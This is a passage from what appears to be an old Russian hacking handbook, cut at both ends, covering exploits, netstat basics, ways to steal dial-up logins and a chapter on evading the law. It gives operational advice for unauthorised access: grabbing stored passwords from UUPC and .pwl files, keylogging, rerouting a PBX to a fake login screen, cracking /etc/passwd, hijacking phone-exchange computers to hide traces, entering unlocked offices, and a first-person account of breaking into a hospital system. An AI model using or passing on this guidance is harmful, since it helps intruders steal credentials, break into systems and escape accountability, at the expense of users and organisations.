созданных для Internet. Очень часто это используют для того, чтобы перехватить
контроль над серваком и потом делать с ним все что твоей душе угодно.
Ну а теперь перейдем к очень известному сейчас виду атак — Эксплоитам. Ты уже
наверно не раз слышал об этой атаке, но не понимал, что это такое и как этим
пользоваться. Так вот. Эксплоит — это программа, написанная на Си++,
использующая дырки в системе для получения прав рута (root) — самого главного
человека, которому доступно ВСЕ!!! К примеру это так называемая FTP-Bounce
дырка, заключаемая в том, что FTP-сервер (служит для скачки/закачки файлов с
сервера/на сервер) настроен так, чтобы переадресовывать запрос пользователя на
другой компьютер. По идее эта фича вообще на фиг не нужна (в смысле для
сисадминов — нам она как раз таки и нужна). Это только создает возможность
взлома, так как эта фича позволяет любому человек просканить порты другого
компьютера и представиться компьютеру FTP сервером, с которого идет
переадресация и этот человек получит “ключи от квартиры где деньги лежат”.
Вообще эксплоиты наиболее практичные и довольно таки легко применяются (если
голова с руками растет откуда надо). С эксплоитом можно хорошо поиздеваться над
сисадмином, а также над его системой (ой — а зачем вот эти файлы — они тут
ва-а-а-аще не нужны!).
Эксплоит хорош еще тем, что он не ломает систему (сам справишься!), а только
дает тебе “ключи”. Как ты знаешь, сейчас серваки стоят как минимум на трех типах
платформ: NT, VMS и UNIX. У них куча разных версий и типов — UNIX делится на
BSD, AIX, SCI, Sun OS, Irix и (наверно) твой любимый Линукс. Ну и конечно же
каждая версия глючит по разному и поэтому под разные типы и версии существуют
эксплоиты так сказать “нужного калибра”, ведь как ты понимаешь эксплоит,
сделанный под NT, не будет пахать под UNIX, а сделанный для Sun OS не будет
пахать под Линукс (ну, хакеру не проблема переделать эксплоит — на то он и
хакер). Ну а разные версии не будут пахать, так как очень часто вообще меняют
прогу, которая стоит, только оставляют то же имя и номер версии чуть-чуть
переделывают. Конечно же все дырки рано или поздно фиксят и нужно стараться
пользоваться новыми эксплоитами. Ну, а теперь самое
главное — как же найти эти дырки?
Для начала посмотри, что у тебя из сервисов есть на компе — набери команду
netstat -a (в Пуск к Выполнить) и ты увидишь что-то типа этого:
Active Connections
Proto Local Address Foreign Address State
TCP localhost:1027 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:1026 0.0.0.0:0 LISTENING
TCP localhost:1026 localhost:1027 ESTABLISHED
TCP localhost:1027 localhost:1026 ESTABLISHED
TCP localhost:137 0.0.0.0:0 LISTENING
TCP localhost:138 0.0.0.0:0 LISTENING
TCP localhost:nbsession 0.0.0.0:0 LISTENING
UDP localhost:135 *:*
UDP localhost:nbname *:*
UDP localhost:nbdatagram *:*
Хммм… вроде ничего интересного. Ну начнем разгребать, что это такое появилось.
Мы видим, что у Local Address (твой комп) прослушиваются порты 135, 137, 138 и
nbsession (в общем это 139 порт прослушивается… можешь написать netstat -an,
чтобы увидеть не название портов, а их номера. Насчет этих портов можешь не
беспокоиться — это часть Microsoft Networking и они нужны для поддержки LAN
(локальной сети). Теперь зайди в Internet и топай, допустим на www.uxx.com, хотя
нет, лучше на www.happyhacker.org. Одновременно телнеться на какой-нибудь сервак
(ну допустим www.whitehouse.gov). Теперь снова жми netstat -a и вот что у тебя
примерно должно получиться:
Active Connections
Proto Local Address Foreign Address State
TCP localhost:1027 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:2508 0.0.0.0:0 LISTENING
TCP localhost:2509 0.0.0.0:0 LISTENING
TCP localhost:2510 0.0.0.0:0 LISTENING
TCP localhost:2511 0.0.0.0:0 LISTENING
TCP localhost:2514 0.0.0.0:0 LISTENING
TCP localhost:1026 0.0.0.0:0 LISTENING
TCP localhost:1026 localhost:1027 ESTABLISHED
TCP localhost:1027 localhost:1026 ESTABLISHED
TCP localhost:137 0.0.0.0:0 LISTENING
TCP localhost:138 0.0.0.0:0 LISTENING
TCP localhost:139 0.0.0.0:0 LISTENING
TCP localhost:2508 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2509 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2510 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2511 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2514 whitehouse.gov:telnet ESTABLISHED
Теперь посмотрим, что в этот раз за лабуду выдало. Те же порты, что и по началу,
вот только добавилось несколько новых активных портов — 4 коннекта с
zllinks.505.ORG по 80 порту и коннект с whitehouse.gov телнетом. Это полная
статистика того, что происходит с твоим компом и Internet.
Так ты узнал настоящее имя сервака www.happyhacker.org (zlliks.505.ORG). По идее
у тебя должен возникнуть вопрос — а какого черта есть порты, у которых номера
больше 1024??? Так вот, если ты помнишь начало главы, то я там говорил, что эти
порты ждут коннекта к ним. Но вот если эта программа коннетиться куда-нибудь, то
ей помимо своего порта еще нужен какой-нибудь порт для приема информации, и этот
порт берется за пределами этих 1024 портов. Так понятно? К примеру, браузер
может открывать до четырех портов —с 2508 по 2511.
Теперь ты возможно захочешь посканить порты друга? Лучший способ сделать это и
не бояться быть выкинутым из Internet своим провайдером — попроси друга
(подругу) набрать netstat -r. Тогда у него появится что-то типа:
Route Table
Active Routes:
Network Address Netmask Gateway Address Interface Metric
0.0.0.0 0.0.0.0 198.59.999.200 198.59.999.200 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
198.59.999.0 255.255.255.0 198.59.999.200 198.59.999.200 1
198.59.999.200 255.255.255.255 127.0.0.1 127.0.0.1 1
198.59.999.255 255.255.255.255 198.59.999.200 198.59.999.200 1
224.0.0.0 224.0.0.0 198.59.999.200 198.59.999.200 1
255.255.255.255 255.255.255.255 198.59.999.200 0.0.0.0 1
Active Connections
Proto Local Address Foreign Address State
TCP lovely-lady:1093 mack.foo66.com:smtp ESTABLISHED
Gateway Address и Interface покажут твой реальный IP (ну или IP сервера, если ты
сидишь через локальную сеть). Учти, если твой друг сидит в локалке, то прежде 10
раз подумай, чем его сканить, а то сисадминам очень не нравится, когда какой
недохакер (как они считают) пытается их поломать и могут пойти на все меры, лишь
бы отомстить и поразвлечься (иногда самое безобидное — синий экран).
Вообще-то под таким распространенным термином, как взлом Internet подразумевают
сразу несколько разных вещей. Во-пеpвых: незаконное подключение к провайдеру и
халявные подключения. Как же можно это осуществить? Самый простой вариант —
украсть чужой пароль. В наше время при огромном количестве тупых юзверей сие не
представляет никакого труда. Так как подавляющее большинство пользователей
пользуется таким популярным пакетом e-mail как UUPC Чернова. А также некоторые
туповатые провайдеры все еще предоставляют вход в систему как online так и
offline под одним паролем. Остается самое простое — переписать файлик init или
init1 с каталога \ UUPC. Там будет прописан как login так и password.
Пользуйтесь им на здоровье. Ho не забывайте про то, что “жадность фраера
сгубила”.
При более сложном варианте вы запускаете на машину user’a вирус или прогу
резидентную, отслеживающую появление строчки login:. Дальше остается грабать
клавиатуру и записать полученное в файл.
Если юзверь относительно грамотный и не просто умеет качать почту, а работает
более “круто” в Netscape, используя SLIP & PPP, то обратите внимание — при таком
качестве связи, как y нашего Совка, связь обрывается частенько. Очень редко
можно увидеть, чтобы кто-то из них при соединении набирал логин и пароль
вручную. Часто это все делает скрипт командами transmit и им подобными. А все
настройки, хитрец, держит под своим паролем в Windows. Как известно, на всякую
хитрую жопу… находится очень быстрое решение проблемы: стоит только поискать
файлик с расширением .pwl. Там Windows хранит все практически настройки по
каждому юзверю. Включая и пароли. Тем паче, что шифрует она все это примитивным
вариантом DES. Ho алгоритм шифрования в каждом релизе разный. Однако, имея в
руках чужой .pwl файл, создав несколько своих с именами 1,2,3,4 и аналогичными
паролями, можно проследить интересную зависимость, которая и выведет вас к
желаемому результату.
Если на машину юзера доступа нет, то к решению проблемы можно подойти и другим
путем. Справедливости ради надо заметить, что практически лавинная доля
соединений приходится на телефонные линии. Дальше — лучше. Наверняка у вас в
офисе есть мини-АТС. Перепрограммировать ее, чтобы звонки с данного номера
перероучивались на ваш — плевое дело. Осталось только запустить терминальную
программу BBS, в заставке указать заставку вашего провайдера. И юзер ведь
купится! Ha 100%. Введет и login, и password. Проверено уже, и не раз. Теперь
осталось выдать ему кучу ошибок, а затем дропнуть линию. После двyх-тpех попыток
(вдруг он неверный пароль введет) верните АТС в нормальное состояние. А то
прецеденты с последующей раздачей слонов и пряников уже бывали.
Если удалось раздобыть login/passwd, то имея пароль с минимальными
пользовательскими привилегиями хочется получить их гораздо больше. С
минимальными привилегиями получить статус root — задача не одного дня. Ho
начинать с чего-то надо. А начнем мы с того, что узнаем, с какой системой имеем
дело. В настоящее время провайдеры висят на самых популярных UNIX: FreeBSD,
BSDI, SCO open server, Linux. Некоторые, правда, используют такую экзотику как
NexStep, UnixWare, Solaris, Aix, HP-UX, VAX-ORX5.12. Встречаются уникумы,
работающие с Xenix. Ho несмотря на видимое обилие операционных систем, все они
имеют практически одинаковую систему защиты и идентификации пользователей и их
ресурсов, которые передавались по наследству от AT&T UNIX с 1971 года.
Стандартные средства защиты в UNIX:
● защита через пароли;
● защита файлов;
● команды su, newgrp, at, prwarn, sadc, pt_chmod;
● шифрование данных.
Любой пользователь UNIX имеет свой пароль, без которого он не может включиться в
систему, писать/читать почту. Практически во всех UNIX пароли находятся в
/etc/passwd. Этот файл содержит информацию о пользователе, его пароле и уровне
привилегий. Дописать в этот файл информацию о своем login/passwd и уровне
привилегий может только root. Ты можешь его только читать.
Ho что же мешает переписать/прочитать его и пользоваться чужими login’ами?
Прочитать можно. И с огорчением увидеть, что не все так в жизни просто. Да, там
хранится login пользователя. Ho сам пароль хранится только в зашифрованном виде.
И вместо пароля в лучшем случае увидишь абракадабру типа #@4OFIU`0346`e.
Расшифровкой этого занимаются программы типа jack, crackerjack, blob и множество
подобных. Успех напрямую зависит от данной операционной системы. Чтобы успешно
расшифровать passwd, необходимо, как минимум, иметь две пары логинов, паролей
расшифрованных и зашифрованных. Напустив на passwd от Linux 2.1.3 крякалку
паролей blob и имея пять пар известных паролей, в опытном варианте за 20 минут
успешно расшифровываются все пароли. Но проблема в том, что алгоритмы шифрования
очень улучшаются с каждой новой версией системы, а в таких коммерческих UNIX как
SCO Open Server 5 имеется очень навороченные системы криптования. К примеру,
если SCO 3 с уровнем защиты от 1,2,3 сломалась в течение 3 часов перебора, то
4,5 где-то за четверо суток, 6 так и не удалось поломать.
2.7. Как не попасть в лапы закона
Козлевичу не везло. Его ловили и тогда, когда он применял излюбленные им
технические средства, и тогда, когда он обходился без них. Его ловили на
вокзалах, пристанях, на пароходах и в гостиницах. В вагонах его тоже ловили. Его
ловили даже тогда, когда он в полном отчаянии начинал хватать чужую
собственность по предварительному сговору с другим лицами.
И. Ильф, Е. Петров. Золотой теленок.
Хакерство — это здорово. Черт возьми, да это просто потрясающе! Но вместе с тем
хакерство — нелегальное, порой аморальное и обычно наказуемое занятие. Даже если
вы не сделали ничего плохого, для судей вам придется подыскать достаточно веское
обоснование своим действиям. Самое малое, что может произойти, это заделка
прорех в компьютерной безопасности, которые вы использовали для взлома. Более
серьезные наказания могут варьироваться от штрафов и вплоть до тюрьмы.
Неофициальные наказания могут заключаться в разрушении вашего оборудования и
невозможности устроиться на работу, имеющую отношение к технике. Занимаясь своим
делом, предусмотрительный хакер преследует две цели:
1. Не попасться.
2. В случае, если попался, постараться не усугублять дела.
В этой книге рассказывается о стратегиях, с помощью которых можно следовать
определенным правилам. Хакинг предполагает не только технические знания, но и
особый склад ума этого самого хакера. И часть этого ума должна быть отдана
знаниям о том, как обеспечить собственную безопасность, иначе оставшаяся часть
будет тратиться зря. Приведенные здесь стратегии следует не только знать и
применять, но и уметь приспосабливать их к новым ситуациям. Не забывайте,
сколько компьютерных преступников отправились в тюрьму. Правда, некоторые из них
умудрялись заниматься хакерством и там. Некоторые даже научились хакерству в
тюрьме. Но если вы все же не стремитесь туда попасть, везде и повсюду помните
приведенные ниже советы.
В процессе исследований
На вашей территории проживания могут действовать местные законы, запрещающие
машинам или людям постоянно набирать номера и отключаться сразу после набора
(так поступает, например, программа автонабора, когда ищет входные наборы). В
случае, если вы делаете звонки самостоятельно, лучше говорить тому, кто поднимет
трубку: “Извините, я ошибся номером”, нежели просто бросать трубку. Помните
правило: чем больше людей вы разозлите, тем больше вероятность, что вас начнут
преследовать и, в конце концов, накажут.
При занятиях социальной инженерией
Социальная инженерия, а еще чаще обратная социальная инженерия, предполагает
контакт с зарегистрированным пользователем по телефону или посредством
электронной почты. Это рискованно, так как при этом вы даете свой адрес или
телефонный номер людям, которых собираетесь обмануть. Для решения данной
проблемы хакеры разработали несколько оригинальных методов.
Однажды я вышел на небольшое предприятие, которое закрывалось на несколько
недель. Проведя некоторые исследования и свершив несколько взломов, мне удалось
найти программу, которая оставляла сообщения на их автоответчике. С ее помощью я
смог входить в контакт с людьми, не сообщая им, кто я такой. Я поместил
телефонную рекламу компьютерной сети, приглашавшую людей звонить и оставлять
свои имена и данные. Я мог в любое время вызвать компьютер, набрать заветный код
и прослушать эти сообщения. Когда предприятие вновь открылось, я позвонил им,
сказав, что я из телефонной компании, и сообщил владельцу, что несколько линий
пересеклись, из-за чего к ним иногда могут проходить непонятные звонки.
Некоторые хакеры просто переводят телефонные автоматы в резидентное состояние и
работают с них. Для занятий социальной инженерией по почте можно арендовать
личный почтовый ящик. Один хакер нашел более простое решение. Он заметил, что
почтовый ящик в колледже, находящийся прямо под его ящиком, всегда пустует и,
по-видимому, никому не принадлежит. Он долгое время пользовался им, с помощью
нехитрого приспособления опуская туда свою секретную корреспонденцию (позднее я
показал ему, как открывать эти ящики).
Использование телефона
В случае, если хотите сохранить что-то в секрете, не говорите об этом по
телефону
Нельсон Рокфеллер
В случае, если вы новичок, у вас может не возникнуть никаких затруднений с
вызовом удаленных компьютеров из собственного дома. Но однажды вы можете
оказаться в ситуации, когда не будете точно знать, не прослушивают ли ваш
телефон и не следят ли за тем, как вы используете компьютер. Значит, если вы уже
вышли из хакерского “детства”, вам не следует делать незаконных вызовов из
своего дома и вообще с любого телефона, по которому вас могут выследить.
Неприятности могут произойти, даже если вы действительно новичок. Представьте
себе, что вы стали членом TECHRIME-USA BBS как раз тогда, когда ФБР собирается
начать акцию против системных операторов, использующих свои доски объявлений в
нелегальных целях! Вам совсем не захочется быть втянутым в это, особенно, если
вы не делали ничего противозаконного. Даже намек на полуправдивые слухи,
циркулирующие по каналам технического андеграунда, может заставить телефонные
компании начать следить за проходящими по их линиям модемными сообщениями и
записывать их. Это может проделываться автоматически с помощью детекторов,
которые прослушивают тоны модемов и передают их на записывающее устройство. В
любом случае надо учитывать следующее:
1. Технология, позволяющая делать такие вещи, существует, и
2. Известно, что прослушиваются очень многие телефоны. Итак, если вам необходимо
общаться с известными компьютерными преступниками, или с доказанными хакерами,
соблюдайте крайнюю осторожность.
Делать телефонные вызовы можно не из дома, но откуда-либо еще. Возможно,
придется раскошелиться на портативный лаптоп. Сделав это, купите к нему также
акустический соединитель и внешний модем. Все это обойдется вам в одну-две
тысячи долларов — гораздо меньше, чем потребует с вас адвокат, если вы
попадетесь. Акустический соединитель необходим, так как не везде имеются
телефонные розетки. Во внешний модем вы будете вставлять соединитель. Многие
лаптопы уже снабжены модемами, но это внутренние модемы, которые нельзя
подсоединить к телефону.
Итак, вы обзавелись оборудованием. Куда бы его поместить? Существует много
возможностей. Ночью и на уик-энд иногда возможно проникнуть в здание
какого-нибудь большого офиса и, если дверь не заперта, устроиться в одной из
смежных комнат. Два года назад летом, прогуливаясь в центре своего города около
девяти вечера, я заметил, что окна всех учреждений открыты — и это вечером! Днем
стояла жара, и, вероятно, их таким образом проветривали. Будь я в
соответствующем настроении, я мог бы беспрепятственно проникнуть в любое здание
и подключить свой портативный компьютер к телефону, находясь всего в нескольких
сотнях метров от полицейского участка.
В случае, если у вас водятся деньги, или вам удалось взломать какой-нибудь счет,
вы можете заниматься хакерством в гостинице или мотеле. Денежные проблемы
беспокоят хакеров и по другой причине. Телефонные счета растут, как на дрожжах,
поэтому многие хакеры являются также и фрикерами. Фрикер — это человек,
занимающийся взломами телефонных сетей. Одним из основных аспектов этого занятия
является создание тональных кодов, которые заставляют телефонную систему
выполнять специальные функции, такие, как бесплатные звонки на дальние
расстояния. Фрикерство, разумеется, представляет собой обширную область для
хакерских исследований, и с телефонными системами — а особенно с компьютерами,
обслуживающими эти системы, — должен быть близко знаком каждый хакер. Многие
хакеры считают, что любое другое хакерство, нежели взлом таких компьютеров, —
это детские игры. В чем-то они правы.
Телефонные компьютерные сети — это невероятно большие, распространенные,
замечательные массивы хитроумных функций, громадных баз данных, технических
операций и прочих чудес, на фоне которых бледнеет все прочее хакерство. Покинув
ваш дом, телефонный сигнал отправляется на местную АТС, которая управляет всеми
телефонами вашего района. Каждая АТС управляется собственным компьютером. Такие
компьютеры и являются потенциальными целями взломщиков телефонных компаний; если
вы получите доступ к компьютеру, у вас будет доступ ко всем телефонам, которыми
он управляет. Вы сможете включать и выключать телефоны, перенаправлять вызовы,
изменять номера. Не будь вы хакером, вы могли бы устроить таким образом немалый
переполох.
Существуют также коммутируемые сети, которые соединяют между собой компьютеры,
управляющие коммутаторами. Из них можно проникнуть в региональные системы типа
COSMOS (одной из функций которой является создание и уничтожение телефонных
номеров). Когда вы поближе познакомитесь с особенностями этих телефонных
компьютеров, вы можете использовать их для собственной зашиты. Например, вы не
хотите делать хакерские телефонные звонки из собственного дома. Вы можете
соединиться с компьютером вашей местной АТС, взять телефонные номера нескольких
автоматов и сделать их бесплатными. Затем вы можете взламывать из этих автоматов
хоть целый мир.
Вы можете также использовать региональную обслуживающую систему, чтобы временно
изменить ваш настоящий номер телефона на номер, допустим, близлежащей церкви. В
случае, если ваши звонки и отследят, слежка отправится по ложному пути. Должен
заметить, что вызов удаленных компьютеров — не такая безопасная вещь, как может
показаться. Иногда соединение с помощью телефона или компьютера дает ложное
чувство защищенности, особенно, если вы уже достигли успехов в хакерстве и
фрикерстве и утратили чувство бдительности. Не допускайте подобного. Всегда
следуйте правилам безопасности. Не приобретайте никаких привычек. Делайте звонки
всегда из разных мест и в разное время дня.
Когда лучше всего делать вызовы? Каждый хакер ответит на этот вопрос по-разному.
Поздний вечер хорош тем, что системные администраторы, скорее всего, уже дома —
но то же самое можно сказать и про большинство полноправных пользователей, и вы
со своим звонком будете выделяться, как клоун на похоронах. Можно попытаться
также звонить в самый разгар рабочего времени, в середине утра и после обеда, но
в это время мэйнфрэймы работают медленнее всего, вашу деятельность нетрудно
будет заметить, да и бюджет, который вы взломали, может быть занят. Наилучшего
времени для вызовов не существует — вам могут помочь разве что исследования
организации устройства компьютерной зашиты конкретного предприятия. Замечайте
время, в течение которого вы были соединены с машиной по телефону. В случае,
если это местный звонок, сигнал идет мгновенно, и чуть дольше — если вы звоните
издалека. Но не стоит висеть по полдня на одной и той же линии. Лучше сделать
несколько вызовов с разных телефонных номеров на разные номера доступа. В
случае, если на избранном вами объекте имеется несколько коммутируемых линий,
следует время от времени бессистемно пользоваться каждой из них.
Советы по лаптопам
В случае, если вы делаете вызов бог знает откуда со своего портативного лаптопа,
я могу предложить вам несколько полезных советов. В случае, если вы находитесь в
незнакомом месте, например, в офисе, отеле, аудитории после уроков и т. п., ваш
лаптоп является неоспоримой ценностью — до тех пор, пока он работает. Никогда не
подключайте ваш модем к незнакомому телефону. Сначала убедитесь, что не сожжете
таким образом ваше оборудование. Многие конторы устанавливают свои собственные
электронные телефонные системы, или РВХ (private branch exchange) — частные
телефонные станции, для выполнения специальных функций, таких как переговоры
внутри здания, либо чтобы не дать определенным телефонам делать телефонные
звонки на дальние расстояния. По проводам некоторых РВХ течет ток, достаточный,
чтобы повредить ваш хрупкий модем. Для того, чтобы проверить безопасность линии,
сначала попробуйте подсоединить к ней обычный дешевый телефон. В случае, если он
заработает, то и модем тоже будет работать. Телефоны, объединенные в РВХ, могут
не работать с вашим модемом из-за специальных звуковых или цифровых кодов,
используемых в локальных процедурах маршрутизации. В случае, если на вашем
проверочном телефоне имеется сигнал в линии, но модем не работает, значит,
данная РВХ неисправна. Для устранения этой проблемы вы можете включить модем в
телефонную розетку, а комнатный телефон (не тот, что взяли для проверки!) — к
модему (для этого вам может понадобиться специальный двойной порт). Для того,
чтобы использовать модем, вы делаете звонок с комнатного телефона, а затем,
услышав звонок удаленного компьютера, включите модем и подсоединяйтесь.
Вы можете приобрести устройства для обработки сигналов, проходящих между
телефоном и модемом. Такое устройство приспосабливает обычные сигналы модема к
цифровым системам вроде РВХ. Для вас это будет более приемлемым, особенно если
вам часто приходится сталкиваться с РВХ. Иногда попадаются такие места, где есть
телефон, но нет розетки для вашего модема. В этом случае надо отвинтить рупор
микрофона телефона и с помощью кабеля с присоединенными “крокодильчиками”
соединить красные и зеленые провода вашего модема с двумя серебристыми
контактами микрофона телефонной трубки. Это может повлечь за собой возникновение
слабого сигнала, поэтому, если в вашем распоряжении есть настоящий телефонный
аппарат (а не одна трубка), снимите с него корпус и соедините красные, зеленые
провода модема с красными, зелеными проводами телефонного преобразователя. Для
того, чтобы позвонить, вам придется придерживать рычаг телефона.
Ваше походное снаряжение
Прежде чем выхолить на большую дорогу, не забудьте прихватить с собой следующие
предметы: лаптоп, иди другой портативный компьютер. Обязательно модем. Лучше
два: внутренний и внешний, с чашечками акустического соединителя. Один
небольшой, дешевый, надежный телефонный аппарат для проверки напряжения на
линии. Можно использовать готовый тестер, но телефон удобнее использовать,
например, в мотелях, где акустический соединитель может не подойти к местному
телефону. Телефонный шнур с модульным зажимом на одном конце и
зажимами-“крокодилами” на другом. Ножницы для обрезки проводов, отвертки и набор
шнуров с портами разного размера.
Ходьба на “цыпочках”
Большинство менеджеров смотрят даже на самых честных, избегающих разрушений
хакеров как на дьявольское отродье. Поэтому, если вас застали за взломом чужих
компьютеров, ждите неприятностей. Даже если ваш взлом не принес никому вреда,
вас все равно, скорее всего, накажут. Я читал статьи о том, что компьютерные
преступления ежегодно уносят, по крайней мере, от 3 до 5 биллионов долларов.
Другие же источники приводят данные до ста биллионов. Лично мне даже три
биллиона кажутся несколько завышенной, для пущей убедительности, суммой. Но
правительство и владельцы предприятий считают иначе. Они понимают, что
большинство компьютерных преступлений остаются нераскрытыми, и реальные убытки
могут оказаться гораздо больше официальной суммы. Даже если все эти биллионы
долларов — не более, чем выдумки, государство и промышленники в них верят, и
полны решимости наказывать всякого, кто отнимает у них такие деньги.
Давайте теперь рассмотрим случай, произошедший с BBS Гринвудской “Pretty Theft”
(“Вороватая милашка”) — так звали одну женщину-хакера, с которой я время от
времени общался. Однажды она послала мне на BBS сообщение, в котором спрашивала,
не знаю ли я, как проникнуть в компьютеры одного госпиталя неподалеку от меня. Я
был в недоумении — задача была проще простого, и взлом данной системы можно
назвать одним из моих первых успехов. При загрузке в эту систему появлялось
следующее сообщение (все имена и номера, разумеется, изменены):
Добро пожаловать в GFH-NET! 300-2400 бод (123)45&-7890 GREENWOOD FAMILY HOSPITAL
GFH-NET обслуживается Роджером Корнуоллом и Гарольдом Липником. В случае, если у
вас возникнут вопросы или комментарии, напишите им по электронной почте!!!
Ваше имя?
Введите имя и фамилию:
Ваш пароль?
В случае, если у вас нет пароля, нажмите "RETURN" после ввода:
Через несколько месяцев после того, как я активно занялся хакерством, я сидел за
компьютером и одновременно смотрел выпуск вечерних новостей. В новостях я увидел
репортаж об одном из членов правительства, который сломал руку и был вертолетом
отправлен в больницу. Тогда я подумал: “Эге, ведь в больницах наверняка есть
компьютеры, верно? Так почему бы мне не взломать такой компьютер!” Итак, я
раздобыл якобы закрытый номер доступа в сеть Гринвудской семейной больницы, и в
ответ на вызов получил такой вот гостеприимный экран. Догадываетесь, что я
сделал вслед за этим? Нетрудно догадаться — я, конечно же, ввел в качестве имени
имя Роджера Корнуолла. К сожалению, у настоящего Роджера Корнуолла имелся
какой-то пароль; а нажав “RETURN”, я просто получил сообщение об ошибке. Тогда я
попробовал имя Гарольд Липник. Тот же результат. Я достал телефонную книгу,
нашел телефонный номер Гринвудской семейной больницы и позвонил. Женский голос
сказал:
— Гринвуд. Чем я могу вам помочь?
— Извините, — сказал я, — нельзя ли пригласить Тома?
— Кого?
— М-м... Есть у вас один парень, я с ним уже говорил... Супервизор, или что-то в
этом роде...
— Вы имеете в виду Аи Брауна? — спросила она. — Ну да, вот именно. (Не знаю,
почему я решил, что его зовут Том.) А он на месте?
— Нет. Ли ушел в пять.
— Понятно, спасибо. Пока.
Я вернулся к своему компьютеру, снова вызвал GFH-NET и попробовал ввести в
качестве имени “Ли Браун”. Но мне опять не повезло. Впрочем, сделав еще
несколько телефонных звонков по разным телефонам данной больницы, приведенным в
книге, я вышел-таки на парня, не имевшего пароля. GFH-NET, как выяснилось, не
представляла собой ничего особенного. Она не имела ничего общего с больничными
счетами, записями о пациентах и т.п. Это была обычная медицинская BBS. Насколько
мне удалось понять, данная система была создана для того, чтобы студенты-медики
могли обсуждать различные проблемы с врачами. Никакой передачи файлов или
чего-нибудь в этом роде; самая простая система сообщений. Она оказалась
неинтересной, но зато было интересно в нее проникать. На следующий день я
просматривал телефонные номера врачей на желтых страницах, и нашел восемь
номеров врачей Гринвудской больницы. Из них трое не имели пароля. Таким образом,
я был несколько озадачен тем, что у Вороватой Милашки возникли затруднения с
этим взломом. Я вызвал BBS Гринвудской больницы, в первый раз за несколько лет,
и, к своему удивлению, наткнулся на такой вот угрожающий экран:
ДАННАЯ СИСТЕМА ПРЕДНАЗНАЧЕНА ТОЛЬКО ДЛЯ САНКЦИОНИРОВАННЫХ ПОЛЬЗОВАТЕЛЕЙ! ЕСЛИ ВЫ
НЕ ЯВЛЯЕТЕСЬ ТАКОВЫМ, ВАМ СЛЕДУЕТ НЕЗАМЕДЛИТЕЛЬНО ОТКЛЮЧИТЬСЯ!
Всю полезную информацию как ветром сдуло! Осталась только это грозное
предупреждение и бесполезное приглашение к вводу пароля. Я попытался войти под
теми же именами, которыми пользовался когда-то, и обнаружил, что все они
обзавелись паролями. Затем я попытался прибегнуть к социальной инженерии, но все
те, с кем я разговаривал, словно воды в рот набрали. (Впоследствии мне удалось
проникнуть в настоящую больничную систему с помощью нескольких милых секретарш
из административного отдела.) Я отправил Вороватой Милашке ответное письмо по
электронной почте, в котором спрашивал, что же там произошло. На следующий день
я получил ответ: “В прошлом месяце мой друг лежал в больнице, и мне захотелось
взглянуть, не удастся ли изменить его счет. Я помнила, что года два тому назад
он давал мне этот номер, я посмотрела в блокнот и, к своему удивлению,
обнаружила, что номер по-прежнему там. Я знала, как зовут лечащего врача моего
приятеля, а навещая его в больнице, я узнала еще больше из справочной системы и
объявлений на стенах. Затем я пыталась войти в систему, используя все эти имена,
но в это время появимся системный оператор и вышвырнул меня. И каждый раз, когда
я хотела продолжить свои попытки, происходило то же самое. Но на следующее утро,
около восьми часов, мне наконец удалось проникнуть в систему. Один из врачей,
имя которого я использовала, вводил вместо пароля собственное имя. Ты, наверно,
догадываешься, что изменить счет моего друга мне не удалось, и больше вообще
ничего не удалось... после того, как я ввела имя и пароль, система просто
зависла. Вечером я попыталась еще раз, и вместо запроса имени на экране
появилось следующее сообщение:
БОЛЬШАЯ ЧАСТЬ ВАЖНЫХ ФАЙЛОВ БЫЛА УНИЧТОЖЕНА КЕМ-ТО ИЛИ ЧЕМ-ТО. СИСТЕМА ВРЕМЕННО
ПРЕКРАЩАЕТ СВОЮ РАБОТУ
Через неделю я попыталась проникнуть в систему еще раз, но безуспешно. Мне
кажется, системный оператор решил, что я или кто-то еще уничтожил файлы, хотя на
самом деле я этого не делала. Несколько дней назад я позвонила еще раз, просто
так, и увидела — ну, ты знаешь, что. Как видно, они поумнели!”
Да, Милашка была права. Они действительно поумнели и усилили свою защиту. Вот
почему хакерам не следует открыто подходить к системе или привлекать внимание
каким-либо другим способом. На самом деле существует только один случай, когда
следует обнаруживать себя системному оператору, и только тогда, когда вы уже
изучили всю систему и больше никогда не собираетесь в нее возвращаться. Кое в
чем Роджер и Гарольд действительно поумнели, а кое в чем нет. Я проявил
некоторое упорство и снова взломал GFH-NET. Как выяснилось, я и сам малость
поумнел: медицинские беседы между докторами и студентами показались мне гораздо
более понятными, чем каких-то два года назад. А может, это студенты поглупели? Я
увидел также старое объявление одного из системных операторов. Он рассказывал
то, что ему было известно о случившемся инциденте с системой (а известно ему
было немного.) Речь в основном шла о том, что определенные файлы были
уничтожены, а многие объявления заменены натуралистическими описаниями
особенностей женской анатомии. Автор, похоже, считал, что файлы могли быть
стерты или каким-то недоумком-оператором, либо хакером-злоумышленником. После
некоторых исследований я обнаружил, что, хотя Данная опция и не присутствует в
меню, нажатие клавиши “F” отправляет прямо в несуществующую систему передачи
файлов. Подумав несколько минут, я ясно увидел, каким образом можно было
подгрузить программу уничтожения любых файлов корневой директории после
перезагрузки системы. На следующий день я послал системным операторам больницы
длинное письмо, в котором подробно объяснял, каким образом можно устранить
данную проблему, и как ликвидировать другие прорехи в защите. Подписался я так:
“Искренне ваша, Полай Ваниа Хакер”. Затем я снова вызвал BBS и загрузил им свое
послание. Вскоре после этого я получил сообщение от Милашки: “В больнице
появился новый экран загрузки. Там написано: “СПАСИБО, ПОЛАЙ! — Р.К. и Г.Л.” Я
был совершенно счастлив.
Уроки, полученные в больнице
Вы уже знаете, что системные операторы не жаждут приветствовать вас в своей
системе. Поэтому-то вы и совершаете взлом. Но если вы обнаружите свое
присутствие, у вас, естественно, возникнут осложнения.
Системные операторы GFH-NET чуть с ума не посходили, когда поняли, что их
компьютеры взломаны, и сделали так, что проникнуть в систему стало намного
труднее. В случаях с такими маленькими BBS не имеет большого значения,
проникнете вы в них, или нет, но если вы имеете дело с чем-то вроде
правительственной организации, дополнительные сложности вам вовсе ни к чему.
В случае, если вы каким-то образом обнаруживаете свое присутствие— например,
вводя в качестве пароля подряд все слова из словаря, и каждый раз получая
